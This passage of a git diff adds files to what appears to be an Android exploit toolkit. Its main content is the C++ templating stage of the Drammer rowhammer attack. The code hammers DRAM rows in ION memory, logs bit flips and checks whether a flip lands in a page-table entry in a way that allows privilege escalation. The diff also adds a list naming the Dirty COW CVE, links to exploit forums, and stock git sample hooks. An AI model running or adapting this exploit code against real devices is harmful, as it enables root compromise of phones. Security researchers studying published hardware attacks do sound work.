dprintf("- index in page table: %6d\n", tmpl->word_index_in_pt); + if (tmpl->word_index_in_pt < 0) { + dprintf("[ :( ] Flip will never fall in hardware page table\n"); + return false; + } + + dprintf("- index in word : %6d\n", tmpl->bit_index_in_word); + if (tmpl->bit_index_in_word < 12) { + dprintf("[ :( ] Flip is in properties of PTE\n"); + return false; + } + + + dprintf("- flip direction : %s\n", FLIP_DIRECTION_STR(tmpl->direction)); + + dprintf("- relative target pfn: %6d (row: %6d, idx: %2d, 16k: %6d)\n", tmpl->target_pfn, tmpl->target_pfn_row, tmpl->target_page_index_in_row, tmpl->target_16k_pfn); + dprintf("- relative source pfn: %6d (row: %6d, idx: %2d, 16k: %6d)\n", tmpl->source_pfn, tmpl->source_pfn_row, tmpl->source_page_index_in_row, tmpl->source_16k_pfn); + if (tmpl->source_pfn_row < 0 || tmpl->source_pfn_row >= rows_per_chunk) { + dprintf("[ :( ] Flip offset requires illegal source pfn\n"); + return false; + } + + if (tmpl->direction == ZERO_TO_ONE) { + /* A 0-to-1 flip in the PTE acts as an addition. If the new PFN (the + * page table) is in the same row as the old PFN (the mapped ION data chunk), + * it should be (1) ahead of the old one, and (2) fall in a different + * 'minimum ION chunk boundary' (dictated by what ION allocations go + * through slab, usually < 16K). */ + if (tmpl->source_pfn_row == tmpl->target_pfn_row) { + if (tmpl->source_16k_pfn >= tmpl->target_16k_pfn) { + dprintf("[ :( ] Target 16k pfn not after source 16k pfn\n"); + return false; + } + } else if (tmpl->source_pfn_row > tmpl->target_pfn_row) { + dprintf("[ :( ] Target row not after source row\n"); + return false; + } + } else { + /* A 1-to-0 flip in the PTE acts as an addition, so it's all backwards + * now */ + if (tmpl->source_pfn_row == tmpl->target_pfn_row) { + if (tmpl->source_16k_pfn <= tmpl->target_16k_pfn) { + dprintf("[ :( ] Target 16k pfn not before source 16k pfn\n"); + return false; + } + } else if (tmpl->source_pfn_row < tmpl->target_pfn_row) { + dprintf("[ :( ] Target row not before source row\n"); + return false; + } + } + + dprintf("[ :) ] FLIP MIGHT BE EXPLOITABLE!\n"); + return true; +} + +bool template_exists(std::vector &templates, + uintptr_t virt, uint32_t org_byte, uint32_t new_byte) { + for (auto tmpl : templates) { + if (tmpl->virt_addr == virt && + tmpl->org_byte == org_byte && + tmpl->new_byte == new_byte) return true; + } + return false; +} + + +void handle_flip(uint8_t *virt_row, + uintptr_t *virt_above, + uintptr_t *virt_below, + uint8_t *pattern, + std::vector &templates, int index_in_row, struct ion_data *chunk) { + + struct template_t *tmpl = (struct template_t *) malloc(sizeof(struct template_t)); + + tmpl->virt_row = (uintptr_t) virt_row; + tmpl->virt_addr = (uintptr_t) virt_row + index_in_row; + tmpl->phys_addr = (uintptr_t) get_phys_addr(tmpl->virt_addr); + tmpl->virt_page = (uintptr_t) (tmpl->virt_addr / PAGESIZE) * PAGESIZE; + tmpl->virt_above = (uintptr_t) virt_above; + tmpl->virt_below = (uintptr_t) virt_below; + + tmpl->org_byte = (uint8_t) pattern[index_in_row]; + tmpl->new_byte = (uint8_t) virt_row[index_in_row]; + tmpl->org_word = (uint32_t) ((uint32_t *) pattern)[index_in_row / 4]; + tmpl->new_word = (uint32_t) ((uint32_t *)virt_row)[index_in_row / 4]; + tmpl->xorred_byte = tmpl->org_byte ^ tmpl->new_byte; + tmpl->xorred_word = tmpl->org_word ^ tmpl->new_word; + tmpl->bits_set = __builtin_popcount(tmpl->xorred_word); + + tmpl->byte_index_in_row = index_in_row; + tmpl->byte_index_in_page = index_in_row % PAGESIZE; + tmpl->word_index_in_page = tmpl->byte_index_in_page / 4; + tmpl->word_index_in_pt = tmpl->word_index_in_page - 512; + tmpl->bit_index_in_word = ffs(tmpl->xorred_word) - 1; + + tmpl->org_bit = (tmpl->org_word & tmpl->xorred_word) >> tmpl->bit_index_in_word; + tmpl->direction = tmpl->org_bit ? ONE_TO_ZERO : ZERO_TO_ONE; + + tmpl->ion_chunk = chunk; + tmpl->ion_len = chunk->len; + + tmpl->rel_address = (uintptr_t) tmpl->virt_addr - (uintptr_t) tmpl->ion_chunk->mapping; + tmpl->rel_row_index = tmpl->rel_address / rowsize; + tmpl->rel_pfn = tmpl->rel_address / PAGESIZE; + + tmpl->target_pfn = tmpl->rel_pfn; + tmpl->source_pfn = tmpl->target_pfn ^ (1 << (tmpl->bit_index_in_word - 12)); + tmpl->target_pfn_row = tmpl->target_pfn / PAGES_PER_ROW; + tmpl->source_pfn_row = tmpl->source_pfn / PAGES_PER_ROW; + tmpl->target_pte = tmpl->target_pfn << 12; + tmpl->source_pte = tmpl->source_pfn << 12; + tmpl->target_page_index_in_row = tmpl->target_pfn - (tmpl->target_pfn_row * PAGES_PER_ROW); + tmpl->source_page_index_in_row = tmpl->source_pfn - (tmpl->source_pfn_row * PAGES_PER_ROW); + + tmpl->target_16k_pfn = tmpl->target_pfn / 4; + tmpl->source_16k_pfn = tmpl->source_pfn / 4; + tmpl->found_at = time(NULL); + + + print("[FLIP] i:%p l:%d v:%p p:%p b:%5d 0x%08x != 0x%08x s:%d", + tmpl->ion_chunk->mapping, + tmpl->ion_len, + (void *) tmpl->virt_addr, + (void *) tmpl->phys_addr, + tmpl->byte_index_in_row, + tmpl->org_word, + tmpl->new_word, + tmpl->found_at); + printf("\n"); + + tmpl->maybe_exploitable = is_exploitable(tmpl); + if (global_of) { + if (tmpl->maybe_exploitable) fprintf(global_of, "!\n"); + else fprintf(global_of,"\n"); + } + + templates.push_back(tmpl); + + +} + +int get_exploitable_flip_count(std::vector &templates) { + int count = 0; + for (auto tmpl : templates) { + if (tmpl->maybe_exploitable) count++; + } + return count; +} +int get_direction_flip_count(std::vector &templates, int direction) { + int count = 0; + for (auto tmpl : templates) { + if (tmpl->direction == direction) count++; + } + return count; +} +struct template_t * get_first_exploitable_flip(std::vector &templates) { + for (auto tmpl : templates) { + if (tmpl->maybe_exploitable) return tmpl; + } + return NULL; +} + +int find_flips_in_row(std::vector &templates, uintptr_t phys1) { + int flips = 0; + for (auto tmpl : templates) { + if (tmpl->phys_addr >= phys1 && tmpl->phys_addr < (phys1 + rowsize)) flips++; + } + return flips; +} + +int do_hammer(uint8_t *virt_row, + volatile uintptr_t *virt_above, + volatile uintptr_t *virt_below, + uint8_t *pattern_above, + uint8_t *pattern, + uint8_t *pattern_below, + std::vector &templates, struct ion_data *chunk, + int hammer_readcount) { + + int new_flips = 0; + + /* write pattern to victim row */ + memcpy(virt_row, pattern, rowsize); + + /* hammer */ + uint64_t t1 = get_ns(); + for (int i = 0; i < hammer_readcount; i++) { + *virt_above; + *virt_below; + } + uint64_t t2 = get_ns(); + int ns_per_read = (t2 - t1) / (hammer_readcount * 2); + + uint8_t *row_above = (uint8_t *) ((uintptr_t) virt_row - rowsize); + uint8_t *row_below = (uint8_t *) ((uintptr_t) virt_row + rowsize); + + /* compare bytes of the victim row again the original pattern */ + for (int i = 0; i < rowsize; i++) { + if (virt_row[i] != pattern[i] ) { + if (template_exists(templates, (uintptr_t) virt_row + i, pattern[i], virt_row[i])) continue; + + new_flips++; + if (new_flips == 1) printf("\n"); + + handle_flip(virt_row, + (uintptr_t *) virt_above, + (uintptr_t *) virt_below, + pattern, templates, i, chunk); + } + + if (row_above[i] != pattern_above[i] ) { + spc_flips++; + new_flips++; + if (new_flips == 1) printf("\n"); + print("[SPECIAL FLIP] v:%p 0x%08x != 0x%08x\n", (uintptr_t) virt_above + i, virt_above[i], pattern_above[i]); + } + if (row_below[i] != pattern_below[i]) { + spc_flips++; + new_flips++; + if (new_flips == 1) printf("\n"); + print("[SPECIAL FLIP] v:%p 0x%08x != 0x%08x\n", (uintptr_t) virt_below + i, virt_below[i], pattern_below[i]); + } + } + if (new_flips > 0) + printf("[TMPL - deltas] virtual row %d: ", (uintptr_t) virt_row / rowsize); + + return ns_per_read; +} + +bool times_up; +void alarm_handler(int signal) { + printf("\n[TIME] is up, wrapping up\n"); + times_up = true; +} + +/* Perform 'conservative' rowhammer: we hammer each page in a row. The figure + * below - row size of 32K = 8 pages - illustrates a victim row (pages P1 .. P8) + * and its two aggressor rows (above, pages A1 .. A8, and below, pages B1 .. + * B8). We write patterns to the entire rows (using <*_row>) and then + * hammer pages by reading from and . + * + * /-- + * | /-- + * | ----------+------------------------------ + * \--->| A1 | A2 | A3 | A4 | A5 | A6 | A7 | A8 | + * ----------------------------------------- + * /--->| P1 | P2 | P3 | P4 | P5 | P6 | P7 | P8 |<-- victim row + * | ----------------------------------------- + * | /->| B1 | B2 | B3 | B4 | B5 | B6 | B7 | B8 | + * | | ----------+------------------------------ + * | | \-- + * | \-- + * \-- + */ +void TMPL_run(std::vector &chunks, + std::vector &templates, + std::vector &patterns, int timer, int hammer_readcount, + bool do_conservative) { + + int bytes_hammered = 0; + std::vector readtimes; + + if (timer) { + printf("[TMPL] Setting alarm in %d seconds\n", timer); + signal(SIGALRM, alarm_handler); + alarm(timer); + } + times_up = false; + + int bytes_allocated = 0; + for (auto chunk : chunks) { + bytes_allocated += chunk->len; + } + + time_t start_time = time(NULL); + print("[TMPL] - Bytes allocated: %d (%d MB)\n", bytes_allocated, bytes_allocated / 1024 / 1024); + print("[TMPL] - Time: %d\n", start_time); + print("[TMPL] - Start templating\n"); + for (auto chunk : chunks) { + ION_get_hammerable_rows(chunk); + + for (auto virt_row : chunk->hammerable_rows) { + uintptr_t phys_row = get_phys_addr(virt_row); + int virt_row_index = virt_row / rowsize; + int phys_row_index = phys_row / rowsize; + + int median_readtime = compute_median(readtimes); + int seconds_passed = time(NULL) - start_time; + int flips = templates.size(); + int exploitable_flips = get_exploitable_flip_count(templates); + double kb_per_flip, percentage_exploitable; + int to0, to1; + if (flips > 0) { + kb_per_flip = (bytes_hammered / 1024) / (double) flips; + percentage_exploitable = (double) exploitable_flips / (double) flips * 100.0; + to0 = get_direction_flip_count(templates, ONE_TO_ZERO); + to1 = get_direction_flip_count(templates, ZERO_TO_ONE); + } else { + kb_per_flip = 0.0; + percentage_exploitable = 0.0; + to0 = 0; + to1 = 0; + } + + print("[TMPL - status] flips: %d | expl: %d | hammered: %d | runtime: %d | median: %d | kb_per_flip: %5.2f | perc_expl: %5.2f | special: %d | 0-to-1: %d | 1-to-0: %d\n", + flips, exploitable_flips, bytes_hammered, seconds_passed, median_readtime, kb_per_flip, percentage_exploitable, spc_flips, to1, to0); + print("[TMPL - hammer] virtual row %d: %p | physical row %d: %p\n", + virt_row_index, virt_row, phys_row_index, phys_row); + printf("[TMPL - deltas] virtual row %d: ", (uintptr_t) virt_row_index); + + + uintptr_t above_row = virt_row - rowsize; + uintptr_t below_row = virt_row + rowsize; + + int step = PAGESIZE; + if (do_conservative) + step = 64; + + for (int offset = 0; offset < rowsize; offset += step) { + uintptr_t virt_above = above_row + offset; + uintptr_t virt_below = below_row + offset; + + printf("|"); + for (auto pattern: patterns) { + + /* write patterns to the adjacent rows and hammer */ + memcpy((void *) above_row, pattern->above, rowsize); + memcpy((void *) below_row, pattern->below, rowsize); + int delta = do_hammer( (uint8_t *) virt_row, + (volatile uintptr_t *) virt_above, + (volatile uintptr_t *) virt_below, + pattern->above, pattern->victim, pattern->below, templates, chunk, hammer_readcount); + readtimes.push_back(delta); + printf("%d|", delta); + + pattern->cur_use++; + if (pattern->max_use && pattern->cur_use >= pattern->max_use) { + if (pattern->reset_above) pattern->reset_above (pattern->above); + if (pattern->reset_victim) pattern->reset_victim(pattern->victim); + if (pattern->reset_below) pattern->reset_below (pattern->below); + pattern->cur_use = 0; + } + } + printf(" "); + + bytes_hammered += step; + + if (times_up) break; + } + printf("\n"); + + if (times_up) break; + } + + if (times_up) break; + + /* clean */ + ION_clean(chunk); + } + + int median_readtime = compute_median(readtimes); + + printf("\n[TMPL] Done templating\n"); + int flips = templates.size(); + print("[TMPL] - bytes hammered: %d (%d MB)\n", bytes_hammered, bytes_hammered / 1024 / 1024); + print("[TMPL] - median readtime: %d\n", median_readtime); + print("[TMPL] - unique flips: %d (1-to-0: %d / 0-to-1: %d)\n", flips, + get_direction_flip_count(templates, ONE_TO_ZERO), + get_direction_flip_count(templates, ZERO_TO_ONE)); + + if (flips > 0) { + double kb_per_flip = (bytes_hammered / 1024) / (double) flips; + printf("[TMPL] - kb per flip: %5.2f\n", kb_per_flip); + } + int exploitable_flips = get_exploitable_flip_count(templates); + print("[TMPL] - exploitable flips: %d\n", exploitable_flips); + if (exploitable_flips > 0) { + print("[TMPL] - first exploitable flip found after: %d seconds\n", get_first_exploitable_flip(templates)->found_at - start_time); + + double percentage_exploitable = (double) exploitable_flips / (double) flips * 100.0; + printf("[TMPL] - percentage of flips that are exploitable: %5.2f\n", percentage_exploitable); + } + print("[TMPL] - time spent: %d seconds\n", time(NULL) - start_time); +} + diff --git b/exploits/drammer/templating.h a/exploits/drammer/templating.h new file mode 100644 index 0000000..a2d2924 --- /dev/null +++ a/exploits/drammer/templating.h @@ -0,0 +1,93 @@ +/* + * Copyright 2016, Victor van der Veen + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifndef __TEMPLATING_H__ +#define __TEMPLATING_H__ + +#include + +#include "ion.h" + +#define ONE_TO_ZERO 1 +#define ZERO_TO_ONE 0 + +#define FLIP_DIRECTION_STR(x) (((x) == ONE_TO_ZERO) ? "1-to-0" : "0-to-1") + +struct template_t { + uintptr_t virt_page; // virtual address of the vulnerable page + uintptr_t virt_addr; // virutal address of the vulnerable byte + uintptr_t virt_row; + uintptr_t phys_addr; + uintptr_t phys_page; + int virt_index; + uint8_t org_byte; // the original value of the vulnerable byte + uint32_t org_word; + uint8_t new_byte; // the new value + uint32_t new_word; + struct ion_data *ion_chunk; + int ion_len; + + uint8_t xorred_byte; + uint32_t xorred_word; + int bits_set; + int bit_offset; + int org_bit; + int direction; + bool maybe_exploitable; + bool likely_exploitable; + int rel_pfn; + int rel_address; + int rel_row_index; + uint32_t source_pte; + uint32_t target_pte; + uint32_t target_16k_pfn; + uint32_t source_16k_pfn; + uint32_t source_pfn, target_pfn; + uint32_t source_page_index_in_row, target_page_index_in_row; + uint32_t source_pfn_row, target_pfn_row; + int byte_index_in_row; + int byte_index_in_page; + int word_index_in_page; + int word_index_in_pt; + int bit_index_in_word; + int bit_index_in_byte; + uintptr_t virt_above; + uintptr_t virt_below; + bool confirmed; + time_t found_at; +}; + +struct pattern_t { + uint8_t *above; + uint8_t *victim; + uint8_t *below; + int cur_use; + int max_use; + void (*reset_above) (uint8_t *); + void (*reset_victim)(uint8_t *); + void (*reset_below) (uint8_t *); +}; + + + +struct template_t *templating(void); +void TMPL_run(std::vector &chunks, + std::vector &templates, + std::vector &patterns, int timer, int hammer_readcount, + bool do_conservative); +struct template_t *find_template_in_rows(std::vector &chunks, struct template_t *needle); + +#endif // __TEMPLATING_H__ diff --git b/exploits/exploit_list a/exploits/exploit_list new file mode 100644 index 0000000..dd989f5 --- /dev/null +++ a/exploits/exploit_list @@ -0,0 +1 @@ +cve_2016_5195 diff --git b/exploits/urls a/exploits/urls new file mode 100644 index 0000000..13be5e7 --- /dev/null +++ a/exploits/urls @@ -0,0 +1,3 @@ +https://forum.xda-developers.com/showthread.php?t=1312859 +https://forum.xda-developers.com/showthread.php?t=2050297 +http://androidvulnerabilities.org/all diff --git b/tools/busybox-android/.git-disabled/HEAD a/tools/busybox-android/.git-disabled/HEAD new file mode 100644 index 0000000..cb089cd --- /dev/null +++ a/tools/busybox-android/.git-disabled/HEAD @@ -0,0 +1 @@ +ref: refs/heads/master diff --git b/tools/busybox-android/.git-disabled/config a/tools/busybox-android/.git-disabled/config new file mode 100644 index 0000000..eaa9987 --- /dev/null +++ a/tools/busybox-android/.git-disabled/config @@ -0,0 +1,11 @@ +[core] + repositoryformatversion = 0 + filemode = true + bare = false + logallrefupdates = true +[remote "origin"] + url = https://github.com/Gnurou/busybox-android.git + fetch = +refs/heads/*:refs/remotes/origin/* +[branch "master"] + remote = origin + merge = refs/heads/master diff --git b/tools/busybox-android/.git-disabled/description a/tools/busybox-android/.git-disabled/description new file mode 100644 index 0000000..498b267 --- /dev/null +++ a/tools/busybox-android/.git-disabled/description @@ -0,0 +1 @@ +Unnamed repository; edit this file 'description' to name the repository. diff --git b/tools/busybox-android/.git-disabled/hooks/applypatch-msg.sample a/tools/busybox-android/.git-disabled/hooks/applypatch-msg.sample new file mode 100755 index 0000000..a5d7b84 --- /dev/null +++ a/tools/busybox-android/.git-disabled/hooks/applypatch-msg.sample @@ -0,0 +1,15 @@ +#!/bin/sh +# +# An example hook script to check the commit log message taken by +# applypatch from an e-mail message. +# +# The hook should exit with non-zero status after issuing an +# appropriate message if it wants to stop the commit. The hook is +# allowed to edit the commit message file. +# +# To enable this hook, rename this file to "applypatch-msg". + +. git-sh-setup +commitmsg="$(git rev-parse --git-path hooks/commit-msg)" +test -x "$commitmsg" && exec "$commitmsg" ${1+"$@"} +: diff --git b/tools/busybox-android/.git-disabled/hooks/commit-msg.sample a/tools/busybox-android/.git-disabled/hooks/commit-msg.sample new file mode 100755 index 0000000..b58d118 --- /dev/null +++ a/tools/busybox-android/.git-disabled/hooks/commit-msg.sample @@ -0,0 +1,24 @@ +#!/bin/sh +# +# An example hook script to check the commit log message. +# Called by "git commit" with one argument, the name of the file +# that has the commit message. The hook should exit with non-zero +# status after issuing an appropriate message if it wants to stop the +# commit. The hook is allowed to edit the commit message file. +# +# To enable this hook, rename this file to "commit-msg". + +# Uncomment the below to add a Signed-off-by line to the message. +# Doing this in a hook is a bad idea in general, but the prepare-commit-msg +# hook is more suited to it. +# +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" + +# This example catches duplicate Signed-off-by lines. + +test "" = "$(grep '^Signed-off-by: ' "$1" | + sort | uniq -c | sed -e '/^[ ]*1[ ]/d')" || { + echo >&2 Duplicate Signed-off-by lines. + exit 1 +} diff --git b/tools/busybox-android/.git-disabled/hooks/post-update.sample a/tools/busybox-android/.git-disabled/hooks/post-update.sample new file mode 100755 index 0000000..ec17ec1 --- /dev/null +++ a/tools/busybox-android/.git-disabled/hooks/post-update.sample @@ -0,0 +1,8 @@ +#!/bin/sh +# +# An example hook script to prepare a packed repository for use over +# dumb transports. +# +# To enable this hook, rename this file to "post-update". + +exec git update-server-info diff --git b/tools/busybox-android/.git-disabled/hooks/pre-applypatch.sample a/tools/busybox-android/.git-disabled/hooks/pre-applypatch.sample new file mode 100755 index 0000000..4142082 --- /dev/null +++ a/tools/busybox-android/.git-disabled/hooks/pre-applypatch.sample @@ -0,0 +1,14 @@ +#!/bin/sh +# +# An example hook script to verify what is about to be committed +# by applypatch from an e-mail message. +# +# The hook should exit with non-zero status after issuing an +# appropriate message if it wants to stop the commit. +# +# To enable this hook, rename this file to "pre-applypatch". + +. git-sh-setup +precommit="$(git rev-parse --git-path hooks/pre-commit)" +test -x "$precommit" && exec "$precommit" ${1+"$@"} +: diff --git b/tools/busybox-android/.git-disabled/hooks/pre-commit.sample a/tools/busybox-android/.git-disabled/hooks/pre-commit.sample new file mode 100755 index 0000000..68d62d5 --- /dev/null +++ a/tools/busybox-android/.git-disabled/hooks/pre-commit.sample @@ -0,0 +1,49 @@ +#!/bin/sh +# +# An example hook script to verify what is about to be committed. +# Called by "git commit" with no arguments. The hook should +# exit with non-zero status after issuing an appropriate message if +# it wants to stop the commit. +# +# To enable this hook, rename this file to "pre-commit". + +if git rev-parse --verify HEAD >/dev/null 2>&1 +then + against=HEAD +else + # Initial commit: diff against an empty tree object + against=4b825dc642cb6eb9a060e54bf8d69288fbee4904 +fi + +# If you want to allow non-ASCII filenames set this variable to true. +allownonascii=$(git config --bool hooks.allownonascii) + +# Redirect output to stderr. +exec 1>&2 + +# Cross platform projects tend to avoid non-ASCII filenames; prevent +# them from being added to the repository. We exploit the fact that the +# printable range starts at the space character and ends with tilde. +if [ "$allownonascii" != "true" ] && + # Note that the use of brackets around a tr range is ok here, (it's + # even required, for portability to Solaris 10's /usr/bin/tr), since + # the square bracket bytes happen to fall in the designated range. + test $(git diff --cached --name-only --diff-filter=A -z $against | + LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0 +then + cat <<\EOF +Error: Attempt to add a non-ASCII file name. + +This can cause problems if you want to work with people on other platforms. + +To be portable it is advisable to rename the file. + +If you know what you are doing you can disable this check using: + + git config hooks.allownonascii true +EOF + exit 1 +fi + +# If there are whitespace errors, print the offending file names and fail. +exec git diff-index --check --cached $against -- diff --git b/tools/busybox-android/.git-disabled/hooks/pre-push.sample a/tools/busybox-android/.git-disabled/hooks/pre-push.sample new file mode 100755 index 0000000..6187dbf --- /dev/null +++ a/tools/busybox-android/.git-disabled/hooks/pre-push.sample @@ -0,0 +1,53 @@ +#!/bin/sh + +# An example hook script to verify what is about to be pushed. Called by "git +# push" after it has checked the remote status, but before anything has been +# pushed. If this script exits with a non-zero status nothing will be pushed. +# +# This hook is called with the following parameters: +# +# $1 -- Name of the remote to which the push is being done +# $2 -- URL to which the push is being done +# +# If pushing without using a named remote those arguments will be equal. +# +# Information about the commits which are being pushed is supplied as lines to +# the standard input in the form: +# +# +# +# This sample shows how to prevent push of commits where the log message starts +# with "WIP" (work in progress). + +remote="$1" +url="$2" + +z40=0000000000000000000000000000000000000000 + +while read local_ref local_sha remote_ref remote_sha +do + if [ "$local_sha" = $z40 ] + then + # Handle delete + : + else + if [ "$remote_sha" = $z40 ] + then + # New branch, examine all commits + range="$local_sha" + else + # Update to existing branch, examine new commits + range="$remote_sha..$local_sha" + fi + + # Check for WIP commit + commit=`git rev-list -n 1 --grep '^WIP' "$range"` + if [ -n "$commit" ] + then + echo >&2 "Found WIP commit in $local_ref, not pushing" + exit 1 + fi + fi +done + +exit 0 diff --git b/tools/busybox-android/.git-disabled/hooks/pre-rebase.sample a/tools/busybox-android/.git-disabled/hooks/pre-rebase.sample new file mode 100755 index 0000000..33730ca --- /dev/null +++ a/tools/busybox-android/.git-disabled/hooks/pre-rebase.sample @@ -0,0 +1,169 @@ +#!/bin/sh +# +# Copyright (c) 2006, 2008 Junio C Hamano +# +# The "pre-rebase" hook is run just before "git rebase" starts doing +# its job, and can prevent the command from running by exiting with +# non-zero status. +# +# The hook is called with the following parameters: +# +# $1 -- the upstream the series was forked from. +# $2 -- the branch being rebased (or empty when rebasing the current branch). +# +# This sample shows how to prevent topic branches that are already +# merged to 'next' branch from getting rebased, because allowing it +# would result in rebasing already published history. + +publish=next +basebranch="$1" +if test "$#" = 2 +then + topic="refs/heads/$2" +else + topic=`git symbolic-ref HEAD` || + exit 0 ;# we do not interrupt rebasing detached HEAD +fi + +case "$topic" in +refs/heads/??/*) + ;; +*) + exit 0 ;# we do not interrupt others. + ;; +esac + +# Now we are dealing with a topic branch being rebased +# on top of master. Is it OK to rebase it? + +# Does the topic really exist? +git show-ref -q "$topic" || { + echo >&2 "No such branch $topic" + exit 1 +} + +# Is topic fully merged to master? +not_in_master=`git rev-list --pretty=oneline ^master "$topic"` +if test -z "$not_in_master" +then + echo >&2 "$topic is fully merged to master; better remove it." + exit 1 ;# we could allow it, but there is no point. +fi + +# Is topic ever merged to next? If so you should not be rebasing it. +only_next_1=`git rev-list ^master "^$topic" ${publish} | sort` +only_next_2=`git rev-list ^master ${publish} | sort` +if test "$only_next_1" = "$only_next_2" +then + not_in_topic=`git rev-list "^$topic" master` + if test -z "$not_in_topic" + then + echo >&2 "$topic is already up-to-date with master" + exit 1 ;# we could allow it, but there is no point. + else + exit 0 + fi +else + not_in_next=`git rev-list --pretty=oneline ^${publish} "$topic"` + /usr/bin/perl -e ' + my $topic = $ARGV[0]; + my $msg = "* $topic has commits already merged to public branch:\n"; + my (%not_in_next) = map { + /^([0-9a-f]+) /; + ($1 => 1); + } split(/\n/, $ARGV[1]); + for my $elem (map { + /^([0-9a-f]+) (.*)$/; + [$1 => $2]; + } split(/\n/, $ARGV[2])) { + if (!exists $not_in_next{$elem->[0]}) { + if ($msg) { + print STDERR $msg; + undef $msg; + } + print STDERR " $elem->[1]\n"; + } + } + ' "$topic" "$not_in_next" "$not_in_master" + exit 1 +fi + +<<\DOC_END + +This sample hook safeguards topic branches that have been +published from being rewound. + +The workflow assumed here is: + + * Once a topic branch forks from "master", "master" is never + merged into it again (either directly or indirectly). + + * Once a topic branch is fully cooked and merged into "master", + it is deleted. If you need to build on top of it to correct + earlier mistakes, a new topic branch is created by forking at + the tip of the "master". This is not strictly necessary, but + it makes it easier to keep your history simple. + + * Whenever you need to test or publish your changes to topic + branches, merge them into "next" branch. + +The script, being an example, hardcodes the publish branch name +to be "next", but it is trivial to make it configurable via +$GIT_DIR/config mechanism. + +With this workflow, you would want to know: + +(1) ... if a topic branch has ever been merged to "next". Young + topic branches can have stupid mistakes you would rather + clean up before publishing, and things that have not been + merged into other branches can be easily rebased without + affecting other people. But once it is published, you would + not want to rewind it. + +(2) ... if a topic branch has been fully merged to "master". + Then you can delete it. More importantly, you should not + build on top of it -- other people may already want to + change things related to the topic as patches against your + "master", so if you need further changes, it is better to + fork the topic (perhaps with the same name) afresh from the + tip of "master". + +Let's look at this example: + + o---o---o---o---o---o---o---o---o---o "next" + / / / / + / a---a---b A / / + / / / / + / / c---c---c---c B / + / / / \ / + / / / b---b C \ / + / / / / \ / + ---o---o---o---o---o---o---o---o---o---o---o "master" + + +A, B and C are topic branches. + + * A has one fix since it was merged up to "next". + + * B has finished. It has been fully merged up to "master" and "next", + and is ready to be deleted. + + * C has not merged to "next" at all. + +We would want to allow C to be rebased, refuse A, and encourage +B to be deleted. + +To compute (1): + + git rev-list ^master ^topic next + git rev-list ^master next + + if these match, topic has not merged in next at all. + +To compute (2): + + git rev-list master..topic + + if this is empty, it is fully merged to "master". + +DOC_END diff --git b/tools/busybox-android/.git-disabled/hooks/pre-receive.sample a/tools/busybox-android/.git-disabled/hooks/pre-receive.sample new file mode 100755 index 0000000..a1fd29e --- /dev/null +++ a/tools/busybox-android/.git-disabled/hooks/pre-receive.sample @@ -0,0 +1,24 @@ +#!/bin/sh +# +# An example hook script to make use of push options. +# The example simply echoes all push options that start with 'echoback=' +# and rejects all pushes when the "reject" push option is used. +# +# To enable this hook, rename this file to "pre-receive". + +if test -n "$GIT_PUSH_OPTION_COUNT" +then + i=0 + while test "$i" -lt "$GIT_PUSH_OPTION_COUNT" + do + eval "value=\$GIT_PUSH_OPTION_$i" + case "$value" in + echoback=*) + echo "echo from the pre-receive-hook: ${value#*=}" >&2 + ;; + reject) + exit 1 + esac + i=$((i + 1)) + done +fi diff --git b/tools/busybox-android/.git-disabled/hooks/prepare-commit-msg.sample a/tools/busybox-android/.git-disabled/hooks/prepare-commit-msg.sample new file mode 100755 index 0000000..f093a02 --- /dev/null +++ a/tools/busybox-android/.git-disabled/hooks/prepare-commit-msg.sample @@ -0,0 +1,36 @@ +#!/bin/sh +# +# An example hook script to prepare the commit log message. +# Called by "git commit" with the name of the file that has the +# commit message, followed by the description of the commit +# message's source. The hook's purpose is to edit the commit +# message file. If the hook fails with a non-zero status, +# the commit is aborted. +# +# To enable this hook, rename this file to "prepare-commit-msg". + +# This hook includes three examples. The first comments out the +# "Conflicts:" part of a merge commit. +# +# The second includes the output of "git diff --name-status -r" +# into the message, just before the "git status" output. It is +# commented because it doesn't cope with --amend or with squashed +# commits. +# +# The third example adds a Signed-off-by line to the message, that can +# still be edited. This is rarely a good idea. + +case "$2,$3" in + merge,) + /usr/bin/perl -i.bak -ne 's/^/# /, s/^# #/#/ if /^Conflicts/ .. /#/; print' "$1" ;; + +# ,|template,) +# /usr/bin/perl -i.bak -pe ' +# print "\n" . `git diff --cached --name-status -r` +# if /^#/ && $first++ == 0' "$1" ;; + + *) ;; +esac + +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" diff --git b/tools/busybox-android/.git-disabled/hooks/update.sample a/tools/busybox-android/.git-disabled/hooks/update.sample new file mode 100755 index 0000000..80ba941 --- /dev/null +++ a/tools/busybox-android/.git-disabled/hooks/update.sample @@ -0,0 +1,128 @@ +#!/bin/sh +# +# An example hook script to block unannotated tags from entering. +# Called by "git receive-pack" with arguments: refname sha1-old sha1-new +# +# To enable this hook, rename this file to "update". +# +# Config +# ------ +# hooks.allowunannotated +# This boolean sets whether unannotated tags will be allowed into the +# repository. By default they won't be. +# hooks.allowdeletetag +# This boolean sets whether deleting tags will be allowed in the +# repository. By default they won't be. +# hooks.allowmodifytag +# This boolean sets whether a tag may be modified after creation. By default +# it won't be. +# hooks.allowdeletebranch +# This boolean sets whether deleting branches will be allowed in the +# repository. By default they won't be. +# hooks.denycreatebranch +# This boolean sets whether remotely creating branches will be denied +# in the repository. By default this is allowed. +# + +# --- Command line +refname="$1" +oldrev="$2" +newrev="$3" + +# --- Safety check +if [ -z "$GIT_DIR" ]; then + echo "Don't run this script from the command line." >&2 + echo " (if you want, you could supply GIT_DIR then run" >&2 + echo " $0 )" >&2 + exit 1 +fi + +if [ -z "$refname" -o -z "$oldrev" -o -z "$newrev" ]; then + echo "usage: $0 " >&2 + exit 1 +fi + +# --- Config +allowunannotated=$(git config --bool hooks.allowunannotated) +allowdeletebranch=$(git config --bool hooks.allowdeletebranch) +denycreatebranch=$(git config --bool hooks.denycreatebranch) +allowdeletetag=$(git config 